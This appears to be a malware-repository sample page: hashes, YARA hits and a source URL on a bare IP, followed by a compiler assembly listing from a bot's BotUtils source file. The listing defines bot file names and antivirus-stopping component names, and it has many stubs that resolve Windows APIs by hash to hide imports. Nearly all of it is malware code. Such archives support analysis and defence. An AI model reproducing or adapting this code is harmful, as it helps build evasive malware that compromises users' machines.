Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 5d85631896278f4c39f65b2e01a3b8db --

Hashes
MD5: 5d85631896278f4c39f65b2e01a3b8db
SHA1: e29ff09b9c3bdba9e8db2db2dcdfd8d3192302c5
SHA256: f8efe59902cc7d277ddb8147abc134861a25200c300a2c0b463607884ae71ba8
SSDEEP: 3072:QMKvPbWlWaej5nB8nOn3t0vrJlnOrmhxHrKddC:sau5WKC
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/contentis_base64 |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BOT_PLUG/Objs/Release/BotUtils.cod
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\Source\Core\BotUtils.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC	?StopAVPath@@3PA_WA				; StopAVPath
PUBLIC	?Hibernation@TVideoRecDLL@@2HB			; TVideoRecDLL::Hibernation
PUBLIC	?RunCallback@TVideoRecDLL@@2HB			; TVideoRecDLL::RunCallback
PUBLIC	?BOT_WORK_FOLDER_NAME@@3PADA			; BOT_WORK_FOLDER_NAME
PUBLIC	?BOT_FILE_NAME@@3PA_WA				; BOT_FILE_NAME
PUBLIC	?BOT_STOPAV_NAME@@3PA_WA			; BOT_STOPAV_NAME
PUBLIC	?BOT_MINIAV_NAME@@3PA_WA			; BOT_MINIAV_NAME
PUBLIC	?BOT_STAV_HASH@@3KA				; BOT_STAV_HASH
PUBLIC	?BOT_MNAV_HASH@@3KA				; BOT_MNAV_HASH
PUBLIC	?MiniAVPath@@3PA_WA				; MiniAVPath
_BSS	SEGMENT
?StopAVPath@@3PA_WA DW 0104H DUP (?)			; StopAVPath
?BOT_WORK_FOLDER_NAME@@3PADA DB 010H DUP (?)		; BOT_WORK_FOLDER_NAME
?MiniAVPath@@3PA_WA DW 0104H DUP (?)			; MiniAVPath
_BSS	ENDS
_DATA	SEGMENT
?BOT_FILE_NAME@@3PA_WA DW 05cH				; BOT_FILE_NAME
	DW	070H
	DW	069H
	DW	06eH
	DW	067H
	DW	02eH
	DW	065H
	DW	078H
	DW	065H
	DW	00H
?BOT_STOPAV_NAME@@3PA_WA DW 05cH			; BOT_STOPAV_NAME
	DW	069H
	DW	067H
	DW	078H
	DW	070H
	DW	064H
	DW	076H
	DW	033H
	DW	032H
	DW	02eH
	DW	064H
	DW	061H
	DW	074H
	DW	00H
?BOT_MINIAV_NAME@@3PA_WA DW 05cH			; BOT_MINIAV_NAME
	DW	069H
	DW	067H
	DW	078H
	DW	070H
	DW	067H
	DW	064H
	DW	033H
	DW	032H
	DW	02eH
	DW	064H
	DW	061H
	DW	074H
	DW	00H
?BOT_STAV_HASH@@3KA DD 0551dd093H			; BOT_STAV_HASH
?BOT_MNAV_HASH@@3KA DD 0551b9893H			; BOT_MNAV_HASH
_DATA	ENDS
;	COMDAT ?RunCallback@TVideoRecDLL@@2HB
CONST	SEGMENT
?RunCallback@TVideoRecDLL@@2HB DD 01000H		; TVideoRecDLL::RunCallback
CONST	ENDS
;	COMDAT ?Hibernation@TVideoRecDLL@@2HB
CONST	SEGMENT
?Hibernation@TVideoRecDLL@@2HB DD 01H			; TVideoRecDLL::Hibernation
CONST	ENDS
PUBLIC	??_7TBotObject@@6B@				; TBotObject::`vftable'
PUBLIC	??1TBotObject@@UAE@XZ				; TBotObject::~TBotObject
EXTRN	??_ETBotObject@@UAEPAXI@Z:PROC			; TBotObject::`vector deleting destructor'
;	COMDAT ??_7TBotObject@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z	; TBotObject::`vftable'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??1TBotObject@@UAE@XZ
_TEXT	SEGMENT
??1TBotObject@@UAE@XZ PROC				; TBotObject::~TBotObject, COMDAT
; _this$ = ecx
; 883  : 	virtual ~TBotObject() {}
  00000	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@
  00006	c3		 ret	 0
??1TBotObject@@UAE@XZ ENDP				; TBotObject::~TBotObject
_TEXT	ENDS
EXTRN	??3TBotObject@@SAXPAX@Z:PROC			; TBotObject::operator delete
; Function compile flags: /Ogspy
;	COMDAT ??_GTBotObject@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBotObject@@UAEPAXI@Z PROC				; TBotObject::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	f6 44 24 04 01	 test	 BYTE PTR ___flags$[esp-4], 1
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0000e	74 07		 je	 SHORT $LN1@scalar
  00010	56		 push	 esi
  00011	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00016	59		 pop	 ecx
$LN1@scalar:
  00017	8b c6		 mov	 eax, esi
  00019	5e		 pop	 esi
  0001a	c2 04 00	 ret	 4
??_GTBotObject@@UAEPAXI@Z ENDP				; TBotObject::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??0TBotObject@@QAE@XZ				; TBotObject::TBotObject
; Function compile flags: /Ogspy
;	COMDAT ??0TBotObject@@QAE@XZ
_TEXT	SEGMENT
??0TBotObject@@QAE@XZ PROC				; TBotObject::TBotObject, COMDAT
; _this$ = ecx
  00000	8b c1		 mov	 eax, ecx
  00002	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@
  00008	c3		 ret	 0
??0TBotObject@@QAE@XZ ENDP				; TBotObject::TBotObject
_TEXT	ENDS
PUBLIC	??_7?$TString@D@@6B@				; TString<char>::`vftable'
PUBLIC	??0?$TString@D@@QAE@XZ				; TString<char>::TString<char>
EXTRN	??_E?$TString@D@@UAEPAXI@Z:PROC			; TString<char>::`vector deleting destructor'
;	COMDAT ??_7?$TString@D@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z	; TString<char>::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strings.h
CONST	ENDS
;	COMDAT ??0?$TString@D@@QAE@XZ
_TEXT	SEGMENT
??0?$TString@D@@QAE@XZ PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 415  : 	TString() : Data(0) {};
  00000	8b c1		 mov	 eax, ecx
  00002	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00006	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7?$TString@D@@6B@
  0000c	c3		 ret	 0
??0?$TString@D@@QAE@XZ ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??_C@_11LOCGONAA@?$AA?$AA@			; `string'
PUBLIC	?t_str@?$TString@D@@QBEPADXZ			; TString<char>::t_str
;	COMDAT ??_C@_11LOCGONAA@?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?t_str@?$TString@D@@QBEPADXZ
_TEXT	SEGMENT
?t_str@?$TString@D@@QBEPADXZ PROC			; TString<char>::t_str, COMDAT
; _this$ = ecx
; 701  : 	// 
; 702  : 	// 
; 703  : 	// 
; 704  : 	return (Data)? Data : (TChar*)L"";
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	85 c0		 test	 eax, eax
  00005	75 05		 jne	 SHORT $LN4@t_str
  00007	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN4@t_str:
; 705  : }
  0000c	c3		 ret	 0
?t_str@?$TString@D@@QBEPADXZ ENDP			; TString<char>::t_str
_TEXT	ENDS
PUBLIC	?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z		; STRUTILS<char>::IsEmpty
; Function compile flags: /Ogspy
;	COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC			; STRUTILS<char>::IsEmpty, COMDAT
; 20   : 	return Str == NULL || *Str == 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 08		 je	 SHORT $LN3@IsEmpty
  00008	80 38 00	 cmp	 BYTE PTR [eax], 0
  0000b	74 03		 je	 SHORT $LN3@IsEmpty
  0000d	33 c0		 xor	 eax, eax
; 21   : }
  0000f	c3		 ret	 0
$LN3@IsEmpty:
; 20   : 	return Str == NULL || *Str == 0;
  00010	33 c0		 xor	 eax, eax
  00012	40		 inc	 eax
; 21   : }
  00013	c3		 ret	 0
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP			; STRUTILS<char>::IsEmpty
_TEXT	ENDS
PUBLIC	?Length@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Length
; Function compile flags: /Ogspy
;	COMDAT ?Length@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Length@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Length, COMDAT
; 27   : 	// 
; 28   : 	DWORD Len = 0;
; 29   : 	if (Str != NULL)
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Str$[esp-4]
  00004	33 c0		 xor	 eax, eax
  00006	85 c9		 test	 ecx, ecx
  00008	74 0b		 je	 SHORT $LN7@Length
; 30   : 		while (*Str++) Len++;
  0000a	38 01		 cmp	 BYTE PTR [ecx], al
  0000c	74 07		 je	 SHORT $LN7@Length
$LL2@Length:
  0000e	41		 inc	 ecx
  0000f	40		 inc	 eax
  00010	80 39 00	 cmp	 BYTE PTR [ecx], 0
  00013	75 f9		 jne	 SHORT $LL2@Length
$LN7@Length:
; 31   : 
; 32   : 	return Len;
; 33   : }
  00015	c3		 ret	 0
?Length@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Length
_TEXT	ENDS
PUBLIC	??$pushargEx@$06$0MJFNIFEG@$0BMB@PAUHWND__@@PA_WH_N@@YAPAXPAUHWND__@@PA_WH_N@Z ; pushargEx<7,3378349382,449,HWND__ *,wchar_t *,int,bool>
EXTRN	?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC		; GetProcAddressEx2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$06$0MJFNIFEG@$0BMB@PAUHWND__@@PA_WH_N@@YAPAXPAUHWND__@@PA_WH_N@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 1
??$pushargEx@$06$0MJFNIFEG@$0BMB@PAUHWND__@@PA_WH_N@@YAPAXPAUHWND__@@PA_WH_N@Z PROC ; pushargEx<7,3378349382,449,HWND__ *,wchar_t *,int,bool>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 c1 01 00 00	 push	 449			; 000001c1H
  00005	68 46 85 5d c9	 push	 -916617914		; c95d8546H
  0000a	6a 07		 push	 7
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00016	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  0001a	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001e	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  00022	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00026	ff d0		 call	 eax
; 127  : }
  00028	c3		 ret	 0
??$pushargEx@$06$0MJFNIFEG@$0BMB@PAUHWND__@@PA_WH_N@@YAPAXPAUHWND__@@PA_WH_N@Z ENDP ; pushargEx<7,3378349382,449,HWND__ *,wchar_t *,int,bool>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0EJKBDHFM@$0DF@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1235302236,53,wchar_t *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0EJKBDHFM@$0DF@PA_WH@@YAPAXPA_WH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0EJKBDHFM@$0DF@PA_WH@@YAPAXPA_WH@Z PROC ; pushargEx<1,1235302236,53,wchar_t *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 35		 push	 53			; 00000035H
  00002	68 5c 37 a1 49	 push	 1235302236		; 49a1375cH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0EJKBDHFM@$0DF@PA_WH@@YAPAXPA_WH@Z ENDP ; pushargEx<1,1235302236,53,wchar_t *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z PROC ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 7f		 push	 127			; 0000007fH
  00002	68 f0 b5 a1 2c	 push	 748795376		; 2ca1b5f0H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ENDP ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IPIPBAC@$0BF@PA_WKHHHHH@@YAPAXPA_WKHHHHH@Z ; pushargEx<1,150532354,21,wchar_t *,unsigned long,int,int,int,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IPIPBAC@$0BF@PA_WKHHHHH@@YAPAXPA_WKHHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
??$pushargEx@$00$0IPIPBAC@$0BF@PA_WKHHHHH@@YAPAXPA_WKHHHHH@Z PROC ; pushargEx<1,150532354,21,wchar_t *,unsigned long,int,int,int,int,int>, COMDAT
; 147  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 148  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G);
; 149  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 15		 push	 21			; 00000015H
  00005	68 02 f1 f8 08	 push	 150532354		; 08f8f102H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 150  : 	return func(a1, a2, a3, a4, a5, a6, a7);
  00016	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 151  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$00$0IPIPBAC@$0BF@PA_WKHHHHH@@YAPAXPA_WKHHHHH@Z ENDP ; pushargEx<1,150532354,21,wchar_t *,unsigned long,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KOBHMAHB@$0CJ@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ; pushargEx<1,2920792177,41,void *,_FILETIME *,_FILETIME *,_FILETIME *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0KOBHMAHB@$0CJ@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0KOBHMAHB@$0CJ@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z PROC ; pushargEx<1,2920792177,41,void *,_FILETIME *,_FILETIME *,_FILETIME *>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 29		 push	 41			; 00000029H
  00002	68 71 c0 17 ae	 push	 -1374175119		; ae17c071H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00013	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  00017	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001b	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  0001f	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00023	ff d0		 call	 eax
; 127  : }
  00025	c3		 ret	 0
??$pushargEx@$00$0KOBHMAHB@$0CJ@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ENDP ; pushargEx<1,2920792177,41,void *,_FILETIME *,_FILETIME *,_FILETIME *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z	; pushargEx<1,1916711125,17,void *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z PROC	; pushargEx<1,1916711125,17,void *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 11		 push	 17			; 00000011H
  00002	68 d5 b0 3e 72	 push	 1916711125		; 723eb0d5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ENDP	; pushargEx<1,1916711125,17,void *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z PROC ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>, COMDAT
; 147  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 148  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G);
; 149  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 14		 push	 20			; 00000014H
  00005	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 150  : 	return func(a1, a2, a3, a4, a5, a6, a7);
  00016	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 151  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z ENDP ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KOBHMFHB@$0CK@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ; pushargEx<1,2920793457,42,void *,_FILETIME *,_FILETIME *,_FILETIME *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0KOBHMFHB@$0CK@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0KOBHMFHB@$0CK@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z PROC ; pushargEx<1,2920793457,42,void *,_FILETIME *,_FILETIME *,_FILETIME *>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2a		 push	 42			; 0000002aH
  00002	68 71 c5 17 ae	 push	 -1374173839		; ae17c571H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00013	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  00017	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001b	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  0001f	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00023	ff d0		 call	 eax
; 127  : }
  00025	c3		 ret	 0
??$pushargEx@$00$0KOBHMFHB@$0CK@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ENDP ; pushargEx<1,2920793457,42,void *,_FILETIME *,_FILETIME *,_FILETIME *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0EHFFIHKB@$0FF@PA_W@@YAPAXPA_W@Z ; pushargEx<1,1196787617,85,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0EHFFIHKB@$0FF@PA_W@@YAPAXPA_W@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0EHFFIHKB@$0FF@PA_W@@YAPAXPA_W@Z PROC	; pushargEx<1,1196787617,85,wchar_t *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 55		 push	 85			; 00000055H
  00002	68 a1 87 55 47	 push	 1196787617		; 475587a1H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0EHFFIHKB@$0FF@PA_W@@YAPAXPA_W@Z ENDP	; pushargEx<1,1196787617,85,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1297450913,59,wchar_t *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z PROC ; pushargEx<1,1297450913,59,wchar_t *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 3b		 push	 59			; 0000003bH
  00002	68 a1 87 55 4d	 push	 1297450913		; 4d5587a1H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ENDP ; pushargEx<1,1297450913,59,wchar_t *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z ; pushargEx<1,786755867,30,wchar_t *,wchar_t *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z PROC ; pushargEx<1,786755867,30,wchar_t *,wchar_t *,int>, COMDAT
; 116  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C);
; 117  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 1e		 push	 30			; 0000001eH
  00002	68 1b f1 e4 2e	 push	 786755867		; 2ee4f11bH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 118  : 	return func(a1,a2,a3);
  00013	ff 74 24 0c	 push	 DWORD PTR _a3$[esp-4]
  00017	ff 74 24 0c	 push	 DWORD PTR _a2$[esp]
  0001b	ff 74 24 0c	 push	 DWORD PTR _a1$[esp+4]
  0001f	ff d0		 call	 eax
; 119  : }
  00021	c3		 ret	 0
